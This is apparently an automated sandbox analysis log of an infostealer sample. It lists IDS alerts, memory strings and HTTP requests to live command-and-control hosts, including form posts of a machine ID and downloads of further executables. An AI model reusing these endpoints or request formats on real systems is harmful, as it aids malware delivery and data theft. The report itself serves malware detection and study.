00 40 00 00 e0 70 69 6b 73 67 67 6b 73 00 10 00 00 00 c0 4e 00 00 06 00 00 00 78 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4e 00 00 22 00 00 00 7e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 43 46 42 37 30 32 41 44 43 35 33 35 32 38 30 30 33 31 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="hwid"D2CFB702ADC53528003197------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="build"stok------EBAAFCAFCBKFHJJJKKFH--

Source: Joe Sandbox View	IP Address: 188.114.96.6 188.114.96.6
Source: Joe Sandbox View	IP Address: 188.114.96.6 188.114.96.6
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49721 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49714 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49746 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49735 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49752 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=R12NG9WNU8ELXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12814Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=U4RXA7WLTMBVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15040Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RRB5LZF1KN8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20359Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YAIF66UWP34User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1183Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MYYAT9FITUO6DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585920Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: tacitglibbr.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: jYd7FUgGZc.exe, jYd7FUgGZc.exe, 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: jYd7FUgGZc.exe, 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/5T
Source: jYd7FUgGZc.exe, 00000003.00000003.1622374804.0000000001145000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: jYd7FUgGZc.exe, 00000003.00000003.1622550353.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeC
Source: jYd7FUgGZc.exe, 00000003.00000003.1622462259.0000000001121000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.0000000001814000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/jd
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6d
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDo
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.0000000001814000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpT
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa-deddda976288001
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: jYd7FUgGZc.exe, 00000003.00000003.1622462259.0000000001121000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: jYd7FUgGZc.exe, 00000003.00000003.1448623747.000000000115D000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1621984792.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: jYd7FUgGZc.exe, jYd7FUgGZc.exe, 00000003.00000003.1622550353.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1448762007.0000000001135000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1499404971.0000000001135000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1449060980.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: jYd7FUgGZc.exe, 00000003.00000003.1621984792.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/es
Source: jYd7FUgGZc.exe, 00000003.00000003.1622550353.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pi
Source: jYd7FUgGZc.exe, 00000003.00000003.1621984792.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/s
Source: jYd7FUgGZc.exe, 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/te5p
Source: jYd7FUgGZc.exe, 00000003.00000003.1622550353.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz:443/apiA
Source: jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.7:49746 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: jYd7FUgGZc.exe	Static PE information: section name:
Source: jYd7FUgGZc.exe	Static PE information: section name: .idata
Source: jYd7FUgGZc.exe	Static PE information: section name:
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name:
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name: .idata
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name:
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: section name:
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0112CB74	3_3_0112CB74
